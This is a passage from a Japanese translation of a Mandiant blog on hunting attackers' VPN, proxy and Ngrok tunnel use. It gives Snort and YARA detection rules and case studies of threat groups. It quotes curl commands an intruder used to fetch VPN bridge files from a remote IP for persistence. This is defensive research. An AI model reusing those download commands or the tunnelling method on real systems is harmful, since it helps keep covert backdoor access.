歴史的に、Ngrok のトンネリングは、オリジンIP を隠すことによって、オリジンサーバーを保護します。しかし、すべてのフリーエンドポイントのオリジンIPは、トンネルエンドポイントによって返されるすべてのHTTP応答上のngrok-agent-ipsヘッダで公開されています。これは、ネットワークセッションデータをより適切な方法で分類し、理解するために、Snortを介して簡単に探し出し、検出することができます。
alert tcp any any -> any any ( msg:"M.Tunneler.HTTP.Ngrok.[response]";
content:"HTTP/1"; depth:6; content:"200 OK"; within:9; content:"|0d0a|ngrok-agent-
ips:"; threshold:type limit,track by_src,count 1,seconds 1800; sid:1; rev:1; )
その他の一般的な方法論
共通のVPNエクイティが含まれるファイル
懸念されること: 攻撃者は、修正したバイナリを使用してVPNインフラストラクチャとやり取りする可能性があります。このより一般的な方法論は、潜在的なVPN的挙動を包括的に調査することを可能にします。
方法論: 簡単に修正できないバイナリのコアコンポーネント(PDBパス、エクスポート、サードパーティライブラリ、ドメインなど)を特定する。
バイナリに含まれる汎用ドメイン
rule M_Hunting_VPNEngine_GenericProxyVPNDomain_1 { meta: author =
"Mandiant" description = "Rule looks for generic proxy/vpn domains."
md5 = "96842ad6cc00fab5776171c56812b9a5" strings:
$UniqueProxyVPNDomain = /(proxy|vpn)\.[^\.]{1,100}\.(net|com|org)/ ascii fullword
nocase condition: filesize < 5MB and ((uint16(0) == 0x5a4d and
uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and
$UniqueProxyVPNDomain }
ConventionEngine
Definitive Dossier of Devilish Debug Details: Part One参照:
"しばしば、ユーザーは内容に応じてフォルダーやファイルに名前をつけます。コンピュータは、データの種類、役割、目的に基づいて、ユーザーにラベル付けと注釈を強制します。この人間とコンピュータの慣習は、ほとんどのデジタルコンテンツが、マルウェアファイルを含む多くのファイルに存在する、何らかの説明的な表面部分、すなわち説明的な「特徴」を持っていることを意味します。これらの特徴のすべてが[バイナリ]に存在することを意図したものではなく、また防御者が気付くことを意図したものでもないことは確かです。これは特にPDBパスについて言えることで、コンパイルプロセスの成果、つまり開発環境を記述するマルウェアに残されたツールマークと言えるでしょう。"
VPNまたは Proxy PDB コンベンション
rule M_Hunting_Win_VPNEngine_PDB_1 { meta: author = "Mandiant"
description = "Rule looks for VPN or Proxy PDB." md5 =
"2bf422e19e721b461f9e98271fb28ad3" strings: $pdb = /RSDS[\x00-\xFF]
{20}[a-zA-Z]:\\[\x00-\xFF]{0,500}(vpn|proxy)[\x00-\xFF]{0,500}\.pdb\x00/ ascii
nocase wide condition: filesize < 5MB and uint16(0) == 0x5A4D and
uint32(uint32(0x3C)) == 0x00004550 and $pdb }
サードパーティライブラリのハンティング
VPNソフトウェアの会社や製品は、その普及の度合いに違いはあるものの、無数に存在します。そのため、特定のブランドに依存して検出を行うことは、すべてのブランドのVPNを広く検出する目的には適していません。したがって、これらのソフトウェアが広範に使用している一般的なサードパーティライブラリを探索することは、より包括的な範囲で検出を行うのに有効です。これらのサードパーティトンネルライブラリには、gotunnelme、golocaltunnel、localtunnel.net、およびzdtunが含まれます。
GoTunnelMeライブラリ
rule M_Hunting_AscensionEngine_gotunnelme_1 { meta: author =
"Mandiant" description = "Rule looks for binaries that use gotunnelme."
md5 = "35fcc4b19946d1bc9c21add1f42d2b63" strings: $anchor =
"gotunnelme" ascii nocase wide $func1 = "NewTunnelConn" ascii nocase wide
$func2 = "Tunnel" ascii nocase wide $func3 = "StopTunnel" ascii
nocase wide $func4 = "ConnectRemote" ascii nocase wide
$func5 = "NewTunnel" ascii nocase wide $func6 =
"GetUrl" ascii nocase wide condition: ((uint16(0) == 0x5A4D and
uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize <
20MB and $anchor and (1 of ($func*)) }
GoLocalTunnelライブラリ
rule M_Hunting_AscensionEngine_golocaltunnel_1 { meta: author =
"Mandiant" description = "Rule looks for binaries that use
golocaltunnel." md5 = "35fcc4b19946d1bc9c21add1f42d2b63" strings:
$anchor1 = "localtunnel.go" ascii nocase wide $func1 =
"readAtmost" ascii nocase wide $func2 = "Network" ascii nocase wide
$func3 = "WaitFor" ascii nocase wide $func4 =
"Accept" ascii nocase wide $func5 = "Addr" ascii nocase wide
$func6 = "URL" ascii nocase wide $func7 =
"ReachedEOF" ascii nocase wide $func8 = "setDefaults" ascii nocase
wide condition: ((uint16(0) == 0x5A4D and uint32(uint32(0x3C))
== 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $anchor1 and (3
of ($func*)) }
LocalTunnelNetライブラリ
rule M_Hunting_AscensionEngine_localtunnelnet_1 { meta: author =
"Mandiant" description = "Rule looks for binaries that use
localtunnel.net." md5 = "35fcc4b19946d1bc9c21add1f42d2b63" strings:
$s1 = "Localtunnel" ascii nocase wide $s2 =
"LocaltunnelClient" ascii nocase wide $s3 =
"ProxiedSslTunnelOptions" ascii nocase wide $s4 =
"ProxiedSslTunnelConnection" ascii nocase wide condition: ((uint16(0)
== 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f))
and filesize < 20MB and all of them }
ZDTunライブラリ
rule M_Hunting_AscensionEngine_zdtun_1 { meta: author = "Mandiant"
description = "Rule looks for binaries that use zdtun." md5 =
"f224e0c1ad6d27c76b1f87fdb8ada639" strings: $anchor = "zdtun"
ascii nocase wide $s1 = "zdtun_conn_close" ascii nocase wide
$s2 = "zdtun_conn_dnat" ascii nocase wide $s3 =
"zdtun_conn_proxy" ascii nocase wide $s4 =
"zdtun_conn_set_userdata" ascii nocase wide $s5 = "zdtun_fds" ascii nocase wide
$s6 = "zdtun_finalize" ascii nocase wide $s7 = "zdtun_get_stats" ascii nocase wide $s8 = "zdtun_make_iphdr"
ascii nocase wide $s9 = "zdtun_purge_expired" ascii nocase wide
$s10 = "zdtun_set_dnat_info" ascii nocase wide $s11 =
"zdtun_set_mtu" ascii nocase wide $s12 = "zdtun_set_socks5_proxy"
ascii nocase wide $s13 = "zdtun_conn_get_userdata" ascii nocase
wide $s14 = "zdtun_userdata" ascii nocase wide $s15 =
"zdtun_init" ascii nocase wide condition: ((uint16(0) == 0x5A4D and
uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize <
20MB and $anchor and (5 of ($s*)) }
Github経由の汎用プロキシ、トンネル、またはVPNライブラリ
rule M_Hunting_AscensionEngine_GithubVPNProxy_1 { meta: author =
"Mandiant" description = "Rule looks for binaries that include
vpn/proxy/tunnel github links" strings: $r1 =
/github.com\/[^\/]+\/[^\/]*(vpn|VPN|proxy|Proxy|tunnel|Tunnel)[^\/]*\//
$vpn = "vpn" nocase fullword $proxy = "proxy" nocase fullword
$tunnel = "tunnel" nocase fullword condition: ((uint16(0) == 0x5A4D
and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize
< 20MB and $r1 and ($vpn or $proxy or $tunnel) }
バイナリによるアーティファクトのエクスポート
Microsoftのドキュメントによると、DLLファイルには、エクスポートテーブルが含まれています。エクスポートテーブルには、DLLが他の実行ファイルにエクスポートするすべての関数の名前が含まれています。これらの関数は、DLL へのエントリポイントであり、他の実行可能ファイルからは、エクスポートテーブルにある関数にのみアクセスできます。
ファイル内のこれらのエクスポートの詳細情報は、特にユニークなエクスポートとその使用目的に関する意図を特定するのに役立つ場合があります。他にも、リソース名やドメインの存在など、ポータブル実行ファイルに固有の詳細があり、意図の可能性を見出すことができます。
VPN Specific DLL Exports
import "pe" rule M_Hunting_Win_ExportEngine_vpn_dll_1 { meta:
author = "Mandiant" description = "Looks for an export dll containing the
string vpn" reference =
"https://twitter.com/stvemillertime/status/1241027937970814976?
s=20&t=t2Esf89F6T8LuiBsT8RV-g" md5 = "61d59eb2799b1a77eedf34b145cf23e1"
strings: $pcre = /[\x00-\x7F]{0,100}(vpn|VPN)[\x00-\x7F]
{0,100}\.(dat|dll|sys|exe)\x00/ condition: uint16(0) ==
0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address)
+ 12)) }
Proxy Specific DLL Exports
import "pe" rule M_Hunting_Win_ExportEngine_vpn_dll_1 { meta:
author = "Mandiant" description = "Looks for an export dll containing
the string vpn" reference =
"https://twitter.com/stvemillertime/status/1241027937970814976?
s=20&t=t2Esf89F6T8LuiBsT8RV-g" md5 = "61d59eb2799b1a77eedf34b145cf23e1"
strings: $pcre = /[\x00-\x7F]{0,100}(proxy|Proxy|PROXY)
[\x00-\x7F]{0,100}\.(dat|dll|sys|exe)\x00/ condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address)
+ 12)) }
VPN or Proxy Specific PE Resource Names
import "pe" rule M_Hunting_Win_VPNEngine_ResourceInPE_1 { meta: author =
"Mandiant" description = "This signature is looking for VPN or Proxy
subresources." md5 = "2ce7a0ffa14134167945e8df84755f1c" condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and for any i in
(0.. pe.number_of_resources - 1): ( pe.resources[i].name_string ==
"V\x00P\x00N\x00" or pe.resources[i].name_string == "P\x00R\x00O\x00X\x00Y\x00" or
pe.resources[i].name_string == "VPN" or pe.resources[i].name_string == "PROXY")
影響 – ケーススタディ
As analysts, researchers, engineers, etc. - time is limited. Time is one of the greatest resources that anyone has. So, it’s important to ask the question: Why care? Well, the following sections will highlight a variety of adversaries abusing the techniques and technologies discussed in this blog.
UNC3500
アナリスト、研究者、エンジニアなど・・・。どのような立場であったとしても、時間は有限であり、だからこそ重要なのは常に “なぜ、それに対処しなければならないのか?”という疑問を持つことです。次のセクションでは、このブログで取り上げた技術やテクノロジーを悪用するさまざまな攻撃者の例に焦点を当てます。
UNC3500
UNC3500 は、中国の攻撃者と考えられており、CVE-2021-44228 を利用して、教育機関や通信事業者を標的にしています。このグループは、初期侵害後にバックドアとして機能する VPN および HTTPS サーバを作成することで、パーシステンス(永続性)を確立しています。
UNC3500 の侵入における偵察と初期活動の後、攻撃者は以下のコマンドを使用して、前述の VPN ソフトウェアと HTTPS サーバーのダウンロードを進めました。
- curl hxxp://35.189.145[.]119/hamcore.se2 > /mi/pki/mics/log/hamcore.se2
- (MD5: 9fb1191ba0064d317a883677ce568023)
- curl hxxp://35.189.145[.]119/https > /mi/pki/mics/log/https
- (MD5: 00352d167c44272dba415c36867a8125)
- curl hxxp://35.189.145[.]119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config
- (MD5: ce5d96252315e2c9d5fd9aeb98ae28ae)
https および hamcore.se2 ファイルは、SoftEther 社の VPN サーバーブリッジである PacketiX の構成要素です。PacketiX VPN ブリッジは、ローカルシステム上の物理ネットワークアダプタと、リモートの SoftEther VPN サーバーとの間にレイヤー 2 接続を作成します。これには、付属のライブラリファイル hamcore.se2 と設定ファイル vpn_bridge.config が必要です。このパッケージを展開することで、UNC3500 は侵害されたサーバー上でパーシステンスを確立しました。
APT40
APT40は主に海運業界に対する侵入活動を行っており、少なくとも2013年に遡っての活動が確認されています。2021年4月、APT40のメンバー4人が米国司法省によって起訴され、海南省に拠点を置くMSSのために活動しているとされました。APT40の活動は、研究開発プログラムに利益をもたらす機密データ、これらの攻撃者を支援する意思決定者への情報提供、関連組織へのさらなる攻撃を可能にする機密データをターゲットとする場合があります。
APT40が使用していることが確認されている手法の1つに、VPNを介した侵入があります。さらに、APT40はProtonVPNとExpressVPNを利用していることが確認されています。
UNC2465
サプライチェーンへの不正侵入では、UNC2465が使用する.NETベースの簡易バックドア「SMOKEDHAM」がPowerShellを使用してサードパーティのファイル共有サイトに接続し、conhost.exeと改名したNgrokユーティリティをダウンロードしました。スクリプトは、ngrok.ymlという設定ファイルを用いてNgrokを実行するために使用されました。Ngrokは、NATやファイアウォールの内側にあるローカルサーバーを、安全なトンネルを介して公共のインターネットに公開できる、一般に公開されているユーティリティです。
UNC2465は、以前DARKSIDEランサムウェアを展開した脅威クラスタで、少なくとも2020年3月から活動していることが示唆されています。UNC2465の活動は、一般公開されているPowerShellベースのSMOKEDHAMバックドアを被害組織環境に配布するために、同様のTTP(戦術、技術、手順)を継続的に使用していることが特徴的です。UNC2465は、DARKSIDEランサムウェアとTOR経由のリークウェブサイトによる恐喝のハイブリッドアプローチを用いて恐喝を行っています。DARKSIDEは、まずDARKSIDEブログで少量のデータを公開し被害者を貶めることで圧力をかけ、その後、被害組織が支払いをしない場合は数日間に渡って大量のデータを公開します。このグループは、DARKSIDEエコシステム全体のほんの一部であり、アフィリエイトであると思われます。UNC2465は、フィッシング、Web侵害、正規のソフトウェアインストーラをトロイの木馬化することによるサプライチェーンアクセスを使用しています。UNC2465の活動は、DARKSIDE RaaSの全体的なシャットダウンを経ても続いています。
アンダーグラウンドのフォーラム
英語を話す「idk」という攻撃者が、米国の保険会社や医療機関へのアクセス方法を宣伝しており、その中に「OpenVPNをインストール」や、「OpenVPNからの認証」といった方法が記載されていました。
VPNs as Sources
ソースとしてのVPN
UNC3661は、被害組織とのリモートでのやりとりにNordVPNを使用してオリジンIPを隠蔽しています。
ウクライナに対して使用されたNEARTWISTクラスタの活動(中程度の信頼度でAPT28にリンク)は、ExpressVPN IPアドレスを使用してWebシェルにログインしました。
普及率
あるジェダイ・マスターは、「普及率こそが、アナリストが必要するものNo.1だ」と言いました。ということで、その「普及率」について見てみましょう。このブログで紹介したさまざまな検出方法をMandiantの持っているデータと照合し、その結果40以上の異なる攻撃者グループとマルウェアファミリーが関連づけられました。
まとめ
VPN ソフトウェア、プロキシ・サービス、ローカル・ホスト・トンネルの使用は、攻撃者にあたかも正規のものであるかのように見せ、暗号化によって検出を回避し、ポイント・ツー・ポイント・アクセスの機会を提供するものです。これらは、攻撃者が求める高い価値のある特性であり、防御側にとっては、検出、封じ込め、根絶の負担をより大きくするものです。
しかし、このブログでは、VPNソフトウェア、プロキシ・サービス、ローカル・ホスト・トンネルを分析し、ハンティングの方法論を考察しています。これらのハンティングの方法論には、ベンダーやサービス固有のもの(SoftEther、Ngrok、WireGuard、OpenVPN、Hide.Me など)に加え、全体的かつ技術的な方法(コンベンション、サードパーティライブラリ、PE アーチファクトなど)にも焦点が当てられています。
これらのアプローチは、これらのソフトウェアやサービス群に対する防御者のハンティングと検出のレパートリーを拡大し、負担を軽減します。
Happy Hunting
謝 辞
分析、レビューにご協力いただいた皆様、特にMatthew DunwoodyとEvan Reeseに感謝します。
免責について
このブログで紹介するシグネチャは、脅威を発見するための方法論と判断基準であり、アナリストが次のステップに進み、疑わしい活動を特定できるようにするためのものです。ネットワークはそれぞれ異なるため、これらのシグネチャは、テストや必要に応じてチューニングを行わずに本番環境に導入するべきではありません。
ケーススタディと事例は、さまざまなお客様を支援するのための活動の経験から得られたものであり、特定のお客様またはお客様のグループに対する活動を表すものではありません。多くの場合、当社顧客および当社顧客に関連する個人の身元を不明瞭化するために、事実が変更されています。
※本ブログは、2022年6月29日に公開されたブログ「Burrowing your way into VPNs, Proxies, and Tunnels」の日本語抄訳版です。
-Mandiant, 作成者: Jared Wilson